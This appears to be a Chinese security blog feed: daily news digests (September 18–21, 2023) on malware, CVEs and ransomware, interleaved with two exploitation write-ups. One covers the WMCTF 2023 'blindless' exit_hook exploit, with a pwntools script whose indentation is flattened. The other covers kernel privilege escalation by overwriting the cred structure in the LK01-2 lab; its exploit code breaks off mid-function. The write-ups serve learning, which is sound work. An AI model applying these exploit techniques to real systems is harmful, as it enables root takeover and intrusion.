网络安全日报 2023年09月21日
1、研究人员披露基于ERMAC木马的Hook家族银行木马
https://research.nccgroup.com/2023/09/11/from-ermac-to-hook-investigating-the-technical-differences-between-two-android-malware-variants/ 研究人员发现 ERMAC 源代码被用作 Hook 的基础。恶意软件操作者可以发送到感染 ERMAC 恶意软件的设备的所有命令(总共 30 个)也存在于 Hook 中。这些命令的代码实现几乎相同。研究人员于 2023 年 1 月首次记录了 Hook ,将其描述为“ERMAC分叉”,每月售价 7000 美元。这两种病毒都是恶
2、趋势科技修复了端点保护服务中远程代码执行零日漏洞
https://thehackernews.com/2023/09/trend-micro-releases-urgent-fix-for.html 趋势科技修复了趋势科技 Apex One 端点保护解决方案中的远程代码执行零日漏洞,该漏洞在攻击中被积极利用。Apex One 是一款适合各种规模企业的端点安全解决方案,“无忧企业安全”套件专为中小型企业设计。该任意代码执行缺陷被跟踪为 CVE-2023-41179,根据 CVSS v3,其严重程度评级为 9.1,将其归类为“严重”。该漏洞存在于安全软件附带的第三方卸载程序模块中。趋势科技观察到至少有一次针对此漏洞的潜在攻击活动 。强烈鼓励客户
3、研究人员发现 Nagios XI 网络监控软件存在严重漏洞
https://securityaffairs.com/151138/security/nagios-xi-flaws.html 研究人员在 Nagios XI 网络和 IT 基础设施监控解决方案中发现了四个漏洞(CVE-2023-40931、CVE-2023-40932、CVE-2023-40933、CVE-2023-40934),这些漏洞可能导致信息泄露和权限升级。Nagios XI 提供对所有关键任务基础设施组件的监控,包括应用程序、服务、操作系统、网络协议、系统指标和网络基础设施。它被全球数千个组织使用。
4、芬兰警方捣毁暗网毒品市场 PIILOPUOTI
https://securityaffairs.com/151131/deep-web/finnish-police-seized-piilopuoti-marketplace.html 芬兰海关宣布查封暗网市场 Piilopuoti,作为国际执法行动的一部分。据欧洲刑警组织称,调查仍在进行中,执法机构正在努力查明该平台上的卖家和用户的身份。
5、国际刑事法院遭受网络攻击
https://securityaffairs.com/151115/hacking/international-criminal-court-cyber-attack.html 国际刑事法院(ICC)本周披露了一次网络攻击,其系统上周遭到破坏。
6、GITLAB 修复了严重漏洞 CVE-2023-5009
https://securityaffairs.com/151107/security/gitlab-critical-vulnerability-cve-2023-5009.html GitLab 已发布安全补丁来解决一个严重漏洞,编号为 CVE-2023-5009 (CVSS 评分:9.6),该漏洞允许攻击者以其他用户身份运行管道。
7、Signal Messenger 推出 PQXDH 抗量子加密
https://thehackernews.com/2023/09/signal-messenger-introduces-pqxdh.html 加密消息应用程序 Signal 宣布更新 Signal 协议,通过将扩展三重 Diffie-Hellman ( X3DH ) 规范升级为后量子扩展 Diffie-Hellman ( PQXDH ) 来增加抗量子攻击支持。
8、Sainbox RAT、ValleyRAT 和 Gh0stRAT 针对中国用户
自 2023 年初以来,Proofpoint 观察到与可疑的中国网络犯罪活动相关的恶意软件的电子邮件分发有所增加。这包括尝试传递 Sainbox 远程访问木马 (RAT)(商品木马 Gh0stRAT 的变种)以及新发现的 ValleyRAT 恶意软件。
9、恶意 NPM 包窃取 Kubernetes 配置、SSH 密钥
https://blog.sonatype.com/npm-packages-caught-exfiltrating-kubernetes-config-ssh-keys 恶意软件包冒充合法的 JavaScript 库和组件,但在安装后,它们会运行混淆代码来收集和窃取敏感文件。
10、马自达服务器被"黑" 或有超10万人信息被泄露
https://news.mydrivers.com/1/935/935571.htm 马自达汽车前几日表示,该公司内部系统服务器遭到外部入侵,导致公司员工及合作方人员的姓名及电话号码共计约104732份信息可能被泄露。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月20日
1、1.2W个 Juniper SRX 防火墙和 EX 交换机受 CVE-2023-36845 影响
https://securityaffairs.com/151037/hacking/12000-juniper-devices-cve-2023-36845.html 研究人员发现大约 12,000 个Juniper网络 SRX 防火墙和 EX 交换机容易受到最近披露的 CVE-2023-36845 RCE 缺陷的影响。
2、SHROUDEDSNOOPER 威胁行为者针对中东电信公司
https://securityaffairs.com/151055/apt/shroudedsnooper-targeting-telco-in-middle-east.html ShroudedSnooper 威胁行为者通过名为 HTTPSnoop 的后门瞄准中东的电信服务提供商。思科 Talos 研究人员最近发现了一种名为 HTTPSnoop 的新隐形植入物,该植入物被用于针对中东电信提供商的攻击。
3、最近的网络攻击导致 CLOROX 产品短缺
https://securityaffairs.com/151046/security/clorox-products-shortage.html 高乐氏公司是一家跨国消费品公司,专门生产和销售各种家用和专业清洁、健康和个人护理产品。这家清洁产品巨头于 8 月中旬宣布,它是网络安全事件的受害者,迫使其部分系统下线。
4、新的 AMBERSQUID 恶意挖矿行动针对不常见的 AWS 服务
https://thehackernews.com/2023/09/new-ambersquid-cryptojacking-operation.html 一种新颖的云原生加密劫持操作将目光投向了不常见的 Amazon Web Services (AWS) 产品,例如 AWS Amplify、AWS Fargate 和 Amazon SageMaker,以非法开采加密货币。
5、APT36组织利用伪造的YouTube应用程序感染安卓设备
https://www.sentinelone.com/labs/capratube-transparent-tribes-caprarat-mimics-youtube-to-hijack-android-phones/ APT36 黑客组织(又名“透明部落”)使用至少三个模仿 YouTube 的 Android 应用程序,通过其签名远程访问木马“CapraRAT”感染设备。一旦恶意软件安装在受害者的设备上,它就可以收集数据、记录音频和视频或访问敏感通信信息,本质上就像间谍软件工具一样运行。
6、软件开发公司Retool遭遇钓鱼攻击影响27个云客户端
https://retool.com/blog/mfa-isnt-mfa/ 软件开发公司 Retool 披露,其 27 名云客户的账户在一次有针对性的基于短信的社会工程攻击后遭到泄露。这家总部位于旧金山的公司指责2023 年 4 月最近推出的Google 帐户云同步功能使泄露事件变得更严重,称其为“黑暗模式”。该公司工程主管称,Google Authenticator 同步到云端的事实是一种新颖的攻击媒介。该公司最初实施的是多重身份验证。但通过这次 Google 更新,以前的多重身份验证已悄然变成了单因素身份验证。该事件发生于 2023 年 8 月 27 日,不允许对本地或托管帐户进行未经授
7、BlackCat勒索软件利用Sphynx加密器攻击Azure云存储
https://infosec.exchange/@SophosXOps/111059622083722634 BlackCat (ALPHV) 勒索软件团伙现在使用被盗的 Microsoft 帐户和最近发现的 Sphynx 加密器来加密目标的 Azure 云存储。在调查最近的一次违规行为时,Sophos X-Ops 事件响应人员发现攻击者使用了新的 Sphynx 变体,并增加了对使用自定义凭据的支持。 使用被盗的一次性密码获得对 Sophos Central 帐户的访问权限后,他们禁用了防篡改功能并修改了安全策略。使用 LastPass Chrome 扩展从受害者的 LastPass 金库
8、LOCKBIT勒索软件组织针对两家纽约医院发起网络攻击
https://securityaffairs.com/150835/cyber-crime/lockbit-ransomware-carthage-area-hospital.html Lockbit 勒索软件组织声称入侵了两家主要医院:迦太基地区医院和克拉克斯顿-赫本医疗中心。这两家医院为纽约州北部的数十万人提供服务。这次网络攻击发生在八月底,过去几周对两家医院造成了严重影响。电话系统于 9 月 2 日恢复,但网络攻击影响了其他几项服务。作为预防措施,迦太基和克拉克斯顿的急诊室已被转移,患者被劫持到其他地区医院,大部分预约也被重新安排。两家医院仍在努力从网络攻击中恢复过来。本周,Lock
9、攻击者使用NodeStealer恶意软件针对Facebook企业帐户发起攻击
https://www.netskope.com/blog/new-python-nodestealer-goes-beyond-facebook-credentials-now-stealing-all-browser-cookies-and-login-credentials 研究人员披露一项正在进行的活动正在针对 Facebook Business 帐户发送虚假消息,使用基于 Python 的NodeStealer 变体获取受害者的凭据,并可能接管他们的帐户以进行后续恶意活动。这些攻击的受害者主要分布在南欧和北美的不同领域,其中以制造服务和技术行业为首。研究人员于 2023 年 5 月
10、谷歌同意就加州位置隐私诉讼达成 9300 万美元和解
https://thehackernews.com/2023/09/google-agrees-to-93-million-settlement.html 谷歌已同意支付 9300 万美元,以解决美国加利福尼亚州就其位置隐私行为误导消费者和违反消费者保护法的指控提起的诉讼。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
内存利用:迟来的blindless与逃不掉的exit漏洞
0x01 前言
在计算机安全领域,漏洞的危险性往往与其广泛性和潜在攻击方式密切相关。今天,我们将深入探讨一个异常危险的漏洞,它存在于程序退出时执行的常见函数"exit"中。无论是在操作系统还是应用程序中,"exit"都是一个普遍存在的函数,通常用于正常退出程序。但这种普遍性也使得它成为了潜在的攻击目标。
这个漏洞的威胁性在于,它不仅存在于各种程序中,而且有多种潜在的攻击方式。攻击者可以通过利用这一漏洞来执行恶意代码,获取系统权限,或者实施其他恶意行为。要理解这个漏洞的威胁,我们需要深入分析其背后的原理以及不同的利用方式。
在本文中,我们将探讨这个漏洞的具体情况,并详细分析了两种主要的利用方式:一种是将程序流转向libc库中的函数,另一种是将程序流转向程序本身的代码段。我们将深入研究这两种攻击方式的原理,并展示了一个实际漏洞利用的示例。
"blindless"是来自WMCTF 2023比赛的一个题目,虽然难度不高,但要深入理解并利用其中的漏洞,需要花费大量时间。本文总结了有关"exit_hook2libc"和"exit_hook2elf"的利用方法,旨在分享给大家学习。这题的关键是深入理解程序退出时执行的"exit"函数,以及如何通过不同方式实现漏洞利用。
0x02 exit_hook的n种姿势
基地址放在此处供各位参考一下,用于计算指令偏移。
exit_hook2libc
首先是p &_rtld_global(看地址),他有一个rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive的元素可以改来调用。
注意一定要用docker或者虚拟机,否则没有符号表会特别坐牢!
执行p _rtld_global。看到那两个rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive吗,就是他们两个。我们可以修改他们的内容,从而作为exithook进行调用(直接call)。把后面的东西复制过来p &xxx就可以查看其地址了。
注意看,这个程序叫小帅,他调用的第一个参数就是rdi,是_rtld_global+2312,我们可以控制他的参数为/bin/sh\x00然后做坏坏的事情(如果能把rtld_lock_default_lock_recursive也改成system的话)。
然后rtld_lock_default_unlock_recursive的参数也是2312这个偏移。
注意这个2312是十进制。
好的,我们就修改这两个地方就可以为所欲为了,但是exit_hook到这里还没完。
并且严格来说,这里并不是完全的exit_hook2libc,如果知道elf的地址也完全可以返回到elf上的函数。
接下来还有更骚的,可以控制到程序上的地址(直接跳转,或者间接取地址跳转。)
exit_hook2elf
1.间接call
这个在这里,第一个是间接call,即指令是call qword ptr [寄存器],意思就是从寄存器的地址指向的内存里取地址,然后call。
对于间接call的利用,我们可以修改他的偏移到任意函数got表,然后配合参数rdi_rtld_global+2312使用。
例如修改_rtld_global+2312为"/bin/sh\x00"
这个的基地址和偏移是存在于link_map的,这样可以找到他的地址。
调试可以看到他会从这个地址的内存中取elf基地址,然后通过link_map地址+0x110存的地址取偏移。我们可以改基地址也可以选择改偏移。link_map地址+0x110是存第一个间接call的偏移的。
注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。
2.直接call
link_map地址+0xa8是存第二个直接call的偏移
注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。
如果改偏移的话能改最好,还能直接形成调用链子。但是如果没有偏移,就只能改基地址了——也就是p &l出来那儿。但是这样肯定会损坏第一次call r14的,会导致无法正常进行。
但是发现有一个地方判断可以跳过call r14。
就是这里,test edx,edx是edx和edx相互and,留下标志位。简单来说就是如果是0,那么不跳转。如果是1,那么跳转。
在x86汇编中,je 指令的作用是:
检查零标志位(ZF)是否被设置为 1。
如果零标志位被设置为 1,将进行跳转到指定的目标位置。
回溯发现是从link_map+0x120取来的地址,也就是说想要这里为0,就把那里的地址指向为0的地方即可!不过也要注意,这里取的是地址+8,也就是我们要改成目标地址-8改进去。这里直接找bss段之类的即可。
完成这个操作,就可以修改基地址达到任意直接call的效果了!即使没有泄露,也可直接返回到程序上(比如此题有后门)。如果有,那就是为所欲为!(和前面一样,如果有泄露真的就是为所欲为了)。
0x03 exp
那么本题目由于有brainfuck函数可以执行任意地址写,则根据前面的exit_hook可以做到提权。
from pwn import *
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
rl = lambda :p.recvline()
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
while True:
context(os='linux', arch='amd64', log_level='debug')
p = process('./main')
context.terminal = ['tmux','new-window' ,'-n','-c']
#gdb.attach(p)
sla('ze',b'-10')#分配到libc上(用mmap)
sla('ze',b'256')
pay = b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移
pay += b'@'+p32(2148618432)
pay +=b'.' + b'\xb1'
pay += b'>.' + b'\x7c'#使得加了偏移之后是后门函数地址
pay += b'@'+p32(0x11f)#修改0x120的地址,指向0,跳过call r14
pay +=b'.' + b'\x00'
pay += b'q'
sla('code\n',pay)
re = p.recvrepeat(0.1)#一直接收直到有回显
#如果是system的话可以发一个cat flag再这样
#这是个很好的爆破方式,学习学习
if re:
print('pwned!get your flag here:',re)
exit(0)
p.close()
网络安全日报 2023年09月19日
1、Lazarus组织涉嫌盗取CoinEx交易所3100万美元的加密货币
https://thehackernews.com/2023/09/north-koreas-lazarus-group-suspected-in.html 自 2023 年 6 月以来,朝鲜附属的 Lazarus 集团已窃取近 2.4 亿美元的加密货币,标志着其黑客攻击大幅升级。根据已发布的多份报告,据该APT组织涉嫌于 2023 年 9 月 12 日从CoinEx 交易所盗窃了 3100 万美元的数字资产。针对 CoinEx 的加密货币盗窃案是近期针对 Atomic Wallet(1 亿美元)、CoinsPaid(3730 万美元)、Alphapo(6000 万美元)和 Stake.co
2、研究人员披露Turla组织最近活跃的十种恶意软件
https://unit42.paloaltonetworks.com/turla-pensive-ursa-threat-assessment/ Turla(又名 Peptic Ursa、Uroburos、Snake)是一个总部位于俄罗斯的威胁组织,至少自 2004 年起就开始活动,与俄罗斯联邦安全局 (FSB) 有联系。研究人员介绍 Peptic Ursa 武器库中最近活跃的 10 种恶意软件类型:Capibar、Kazuar、Snake、Kopiluwak、QUIETCANARY/Tunnus、Crutch、ComRAT、Carbon、HyperStack 和 TinyTurla。
3、研究人员披露Bumblebee恶意软件的网络攻击活动
https://intel471.com/blog/bumblebee-loader-resurfaces-in-new-campaign Bumblebee 是一种加载程序,越来越多地被与勒索软件相关的攻击者使用,其中包括现已不复存在的 Conti 病毒和相对较新的 Akira。Bumblebee 采用 C++ 编程语言编写,被多个威胁参与者用来确保在高价值企业环境中获得初步立足点。Bumblebee 最近中断了两个月,这通常发生在攻击者暑假期间。但在 2023 年 8 月底,Bumblebee 的运营商恢复了活动。英特尔 471 恶意软件情报系统发现了利用新技术传播 Bumblebee
4、研究人员披露Akira勒索软件利用虚拟机以绕过EDR
https://cybercx.com.au/blog/akira-ransomware/ Akira 勒索软件组织自 2023 年 4 月以来一直在攻击受害者。研究人员观察到的一项新技术利用了将勒索软件部署到 Windows Hyper-V 虚拟机管理程序系统上,导致连接的虚拟机 ( VM )受到严重损坏。即使基于 Windows 的虚拟机管理程序和目标虚拟机正在运行重要的端点检测和响应 ( EDR ) 工具,威胁行为者也会通过在虚拟机管理程序上创建新的、不受监控的虚拟机来规避这一点,他们可以从中导航虚拟机管理程序上的目录并执行他们的勒索软件。
5、微软AI研究部门意外泄露38TB敏感数据
https://securityaffairs.com/151004/data-breach/microsoft-ai-data-leak.html 网络安全公司 Wiz 发现,微软 AI 研究部门在 GitHub 上发布一桶开源训练数据时,意外泄露了 38TB 的敏感数据。暴露的数据暴露了两名员工工作站的磁盘备份,其中包含机密、私钥、密码和超过 30,000 条内部 Microsoft Teams 消息。
6、名为"USDOD"的威胁行为者宣布泄露高度敏感的 TRANSUNION 数据
https://securityaffairs.com/150968/data-breach/transunion-data-leak.html TransUnion 是一家美国消费者信用报告机构。TransUnion 收集并汇总了 30 多个国家/地区超过 10 亿个人消费者的信息,其中包括“2 亿份文件,分析了美国几乎所有信用活跃的消费者”。一个绰号为“ USDoD ”的威胁行为者宣布泄露了据称从信用报告机构窃取的高度敏感数据。泄露的数据库大小超过 3GB,包含约 58,505 人的敏感 PII,遍布全球,包括美国和欧洲。
7、Fortinet 修补FortiOS、FortiProxy、FortiWeb中的高危漏洞
https://www.securityweek.com/fortinet-patches-high-severity-vulnerabilities-in-fortios-fortiproxy-fortiweb-products/ Fortinet 已针对影响多个 FortiOS 和 FortiProxy 版本的高严重性跨站脚本 (XSS) 漏洞发布了补丁。
8、Clop 勒索团伙窃取北卡罗来纳州主要医院的数据
https://securityaffairs.com/150949/cyber-crime/north-carolina-hospitals-data-breach.html 微软旗下的医疗技术公司 Nuance 透露,作为 Progress MOVEit Transfer 活动的一部分,Clop 勒索团伙窃取了北卡罗来纳州主要医院的个人数据。
9、Google 将 Chromebook 的安全更新支持期限延长 10 年
https://www.bleepingcomputer.com/news/security/google-extends-security-update-support-for-chromebooks-to-10-years/ 谷歌表示,从 2024 年开始,2021 年之后发布的所有 Chromebook 将自动获得为期十年的安全更新,每四个星期自动向设备发送一次。
10、N-Able曝高危漏洞,能任意删除Windows系统文件
https://www.freebuf.com/news/378432.html Google 旗下威胁情报公司Mandiant近期披露了在N-Able Take Control Agent 中发现的一个高严重性安全漏洞,本地非特权攻击者可以利用该漏洞来获取Windows系统权限。该漏洞被追踪为CVE-2023-27470(CVSS 评分:8.8),与 TOCTOU 竞争条件漏洞有关。TOCTOU属于软件缺陷类别漏洞,其中程序会检查资源状态的特定值,但该值在实际使用之前发生变化,从而使检查结果无效。利用此类缺陷可能会导致完整性丧失,并诱骗程序执行不应执行的操作,从而允许攻击者访问未经授权的资
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月18日
1、APT33组织利用密码喷洒攻击针对美国卫星国防机构
https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/ 研究人员表示,自 2023 年 2 月以来,一个伊朗支持的威胁组织已针对美国和世界各地的数千个组织发起了密码喷洒攻击。国家黑客还从国防、卫星和制药领域的有限数量的受害者那里窃取了敏感信息。该网络间谍组织被追踪为 APT33(又名 Peach Sandstorm、HOLMIUM 或 Refine
2、攻击者滥用Google广告冒充知名品牌传播DanaBot僵尸网络
https://www.malwarebytes.com/blog/threat-intelligence/2023/09/ongoing-webex-malvertising-drops-batloader 威胁行为者利用 Google Ads 跟踪模板作为漏洞来创建令人信服的 Webex 软件搜索广告,将用户重定向到分发 BatLoader 恶意软件的网站。Webex 是一个视频会议和联络中心套件,是思科协作产品组合的一部分,被全球的公司和企业使用。恶意广告活动已在 Google 搜索中活跃一周,攻击者似乎来自墨西哥。恶意 Google 广告冒充官方 Webex 下载门户,在“webex
3、新西兰地方交通局疑似因勒索软件攻击大范围停电
https://at.govt.nz/bus-train-ferry/service-announcements/at-hop-technical-outage 新西兰奥克兰交通局 (AT) 正在处理因网络事件造成的大范围停电,影响了广泛的客户服务。AT 是奥克兰地区政府拥有的地区交通管理局,负责渡轮、公共汽车和火车等公共交通,以及设计和建设道路和其他基础设施。该公司今天宣布,由于网络事件影响了部分网络,其 HOP 服务(集成票务和票价系统)遇到问题。AT 服务已因攻击而受到影响。例如,在线充值以及使用 AT 网站上的 MyAT HOP 的其他 AT HOP 服务。售票机和充值机仅接受现金付
4、英国曼彻斯特警察数据在勒索软件攻击中泄露
https://www.gmp.police.uk/news/greater-manchester/news/news/2023/september/greater-manchester-police-statement-on-data-breach/ 英国大曼彻斯特警察局 (GMP) 今天早些时候表示,其部分员工的个人信息受到第三方供应商勒索软件攻击的影响。今天发布的声明中未提及受影响的组织,该组织是 GMP 和英国其他组织的服务供应商。GMP 认为被黑客入侵的系统上的数据不包含属于警察局员工的财务信息。助理警长称,他们意识到勒索软件攻击影响了英国各个组织的第三方供应商,其中包括 GMP,
5、美国联邦政府警告医疗保健部门警惕Akira勒索软件威胁
https://www.healthcareinfosecurity.com/feds-warn-healthcare-sector-akira-ransomware-threats-a-23073 联邦当局就 Akira 构成的威胁向卫生部门发出警告,Akira 是一个勒索软件即服务组织,大约六个月前出现,与许多行业中以中小型实体为主的数十起攻击有关。美国卫生与公众服务部卫生部门网络安全协调中心在周二发布的威胁警报中表示,该组织似乎更青睐尚未在虚拟专用网络上部署多因素身份验证的组织。Akira 进行双重勒索攻击,涉及数据盗窃,然后进行勒索软件加密,似乎通过多种方法获得初始恶意软件交付,包括
6、研究人员发现ncurses库中影响Linux和macOS系统的漏洞
https://thehackernews.com/2023/09/microsoft-uncovers-flaws-in-ncurses.html 在ncurses(新的curses的缩写)编程库中发现了一组内存损坏缺陷,威胁者可以利用这些缺陷在易受攻击的 Linux 和 macOS 系统上运行恶意代码。通过篡改环境变量,攻击者可以串联这些漏洞来提升权限并在目标程序的上下文中运行代码或执行其他恶意操作。这些漏洞统称为CVE-2023-29491(CVSS 评分为 7.8),已于 2023 年 4 月得到解决。微软表示,它还与苹果合作解决与这些缺陷相关的 macOS 特定问题。环境变量是用户
7、荷兰足球协会承认为被盗员工数据向攻击者支付赎金
https://therecord.media/dutch-football-association-paid-ransom-lockbit 荷兰足球管理机构本周表示,它已向今年早些时候入侵其系统并窃取超过 120 万名员工和会员敏感数据的黑客支付了赎金。荷兰皇家足球协会 (KNVB) 并未透露赎金金额有多大,但它证实, LockBit 勒索软件团伙确实是此次攻击的幕后黑手。总部位于宰斯特的 KNVB 负责管理该国主要的职业联赛、荷兰男子和女子国家队、荷兰杯和业余联赛。4 月份,KNVB 领导层宣布了这一事件,称该组织的业务运营没有受到影响,但入侵者已经获取了个人数据。荷兰执法机构和荷兰数据
8、米高梅ESXi服务器遭遇勒索软件加密攻击
https://www.bleepingcomputer.com/news/security/mgm-casinos-esxi-servers-allegedly-encrypted-in-ransomware-attack/ BlackCat 勒索软件组织的一个附属机构(也称为 APLHV)是此次攻击的幕后黑手,该攻击扰乱了米高梅度假村的运营,迫使该公司关闭 IT 系统。BlackCat 勒索软件组织在今天的一份声明中声称,自周五以来,他们已经渗透到 MGM 的基础设施中,并在该公司摧毁了内部基础设施后对 100 多个 ESXi 虚拟机管理程序进行了加密。该攻击组织表示,他们已经从网络中窃
9、凯撒娱乐公司向攻击者支付赎金避免被盗数据泄露
https://www.wsj.com/business/hospitality/caesars-paid-ransom-after-suffering-cyberattack-7792c7f0 凯撒娱乐公司自称是美国最大的连锁赌场,拥有业内最广泛的忠诚度计划,该公司表示,它支付了赎金,以避免在最近的网络攻击中被盗的客户数据在线泄露。Caesars 于 9 月 7 日发现,攻击者窃取了其忠诚度计划数据库,该数据库存储了许多客户的驾驶执照号码和社会安全号码。凯撒周四向美国证券交易委员会提交的一份 8-K 表格称,凯撒娱乐仍在调查未经授权的行为者获取的文件中包含的任何其他个人或其他敏感信息的范围
10、TIKTOK 因儿童隐私问题被爱尔兰 DPC 罚款 3.45 亿欧元
https://securityaffairs.com/150918/breaking-news/tiktok-fined-e345m-irish-dpc.html 爱尔兰数据保护委员会 (DPC)因侵犯儿童隐私而对 TikTok 处以 3.45 亿欧元罚款。爱尔兰数据监管机构发现,这款流行的视频共享应用程序允许成年人向某些与他们没有家庭联系的青少年发送直接消息。DPC 进行的调查显示,TikTok 的“家庭配对”功能存在严重缺陷,可能会被滥用,将儿童账户与“未经验证”的成年人关联起来。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
通过篡改cred结构体实现提权利用
前言
在之前的HeapOverflow文章中,作者还构造了任意地址读写的操作,使用了任意地址读写去进行提权,还挺有意思的,记录一下如何利用任意地址读写进行提权。
作者利用任意地址读写分别改写https://h0pe-ay.github.io/%E5%88%A9%E7%94%A8modprobe_path%E6%8F%90%E6%9D%83/以及cred结构体去实现提权的操作,由于改写modprobe_path的方法之前已经研究过了,因此现在详细记录一下如何修改cred结构体完成提权操作。
cred结构体
cred 结构体通常出现在UNIX/Linux操作系统内核中,用于表示进程的凭据(credentials)。这些凭据包括有关进程身份的信息,如用户ID、组ID、权限等。结构体部分成员如下
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
} __randomize_layout;
而我们在ret2usr的操作中,通常都为执行commit_creds(prepare_kernel_cred(0)),实际就是为了获取root的凭证,因此如果我们能过任意地址写的操作修改cred的结构体也同样能够实现。
在cred的结构体存在uid、gid等标识符用于标识在系统中用于身份验证和权限控制,因此将这些标识符修改为0,即可将当前进程修改为root进程。
那么该如何获取cred结构体的地址,则是提权的关键。这里就需要凭借任意地址读的操作。在task_struct中存在着cred结构体的指针值。并且该指针值刚好存在于comm变量的上方,而该变量用于存储当前的进程名。
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
因此我们可以通过将当前的进程名设置为在内核地址中几乎不会出现的值,则可以搜索内存值找到comm变量的位置,那么就可以获取cred结构体的指针值。
这里使用prctl函数设置进程名,prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。 prctl 函数的原型如下:
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。
prctl 函数的参数和行为取决于传递给它的 option 参数,以及可能的附加参数 arg2 到 arg5。不同的 option 值对应于不同的控制操作。
以下是一些常见的 option 值和它们的用途:
PR_SET_NAME:设置进程的名称,可以用于在系统中标识进程。
PR_GET_NAME:获取进程的名称。
PR_SET_PDEATHSIG:设置父进程退出时发送给子进程的信号。
PR_GET_PDEATHSIG:获取父进程退出时发送给子进程的信号。
PR_SET_SECCOMP:启用或禁用Seccomp过滤器,用于限制进程对系统调用的访问。
PR_SET_KEEPCAPS:控制进程是否保留其有效用户ID的能力。
PR_GET_KEEPCAPS:获取进程是否保留其有效用户ID的能力。
PR_SET_NO_NEW_PRIVS:设置进程的No New Privileges标志,用于控制是否可以提升权限。
PR_GET_NO_NEW_PRIVS:获取进程的No New Privileges标志状态。
PR_SET_DUMPABLE:设置进程的核心转储状态。
PR_GET_DUMPABLE:获取进程的核心转储状态。
PR_SET_CHILD_SUBREAPER:设置进程是否作为子进程的子进程的领导者。
PR_GET_CHILD_SUBREAPER:获取进程是否作为子进程的子进程的领导者。
ptrctl(PR_SET_NAME, "XXXXXXXXX"); //设置进程名
那么利用cred结构体的提权流程如下:
具有任意地址读写的操作
使用prctl函数将进程名设置为关键字
使用任意地址在内核内存中搜索关键字,获取cred结构体的地址
使用任意地址写修改cred结构体标识符的值,全修改为0
LK01-2
项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2/qemu/AAR&AAW&
题目的读写模块存在着堆溢出的漏洞,那么想要使用cred结构体进行提权,首先需要构造出任意地址读写的操作。
...
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = 0xaaaaaa;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++)
ioctl(spray[i], 0x1234, 0x5678);
...
正如之前所说的,ioctl的参数是会传递给寄存器的,可以看到ioctl函数的参数对应RCX与RSI寄存器,而第三个参数对应于RDX寄存器。并且距离g_buf地址的0xc的位置可以劫持程序的流程。
那么在内核中搜索相关的gadget就可以构造出任意地址读写的操作。
任意地址读
这里需要注意的是ioctl函数的参数的字节长度是不同的,在执行ioctl(spray[i], 0x1122334455667788, 0x1122334455667788)时,我们同时往参数二与参数三写入0x1122334455667788的值,但是RCX寄存器值传入了4个字节,而RDX寄存器可以传入8个字节,因此我们需要将RDX寄存器作为地址,而RCX作为值,这是因为内核地址是占满八字节的。
搜索的表达式为cat g | grep "mov .* \[rdx\];",由于需要rdx作为地址,因此直接搜索以rdx作为间接寻址的操作,括号需要进行转义字符。这里我们选取0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;作为任意地址读的gadget,这是因为我们可以往rdx填入想要读取的地址并且eax通常用于存储返回值,因此直接读取返回值即可获得rdx指向的值。
为了加速读取,作者这里采用缓存的形式,将能够控制的tty结构体的文件描述符存储起来,这样在下次读取时就不用重新遍历一遍。
//0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;
int aar(unsigned long addr)
{
int result;
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = kernel_base + op_aar;
write(fd, buf, 0x500);
if (cache_fd == -1)
{
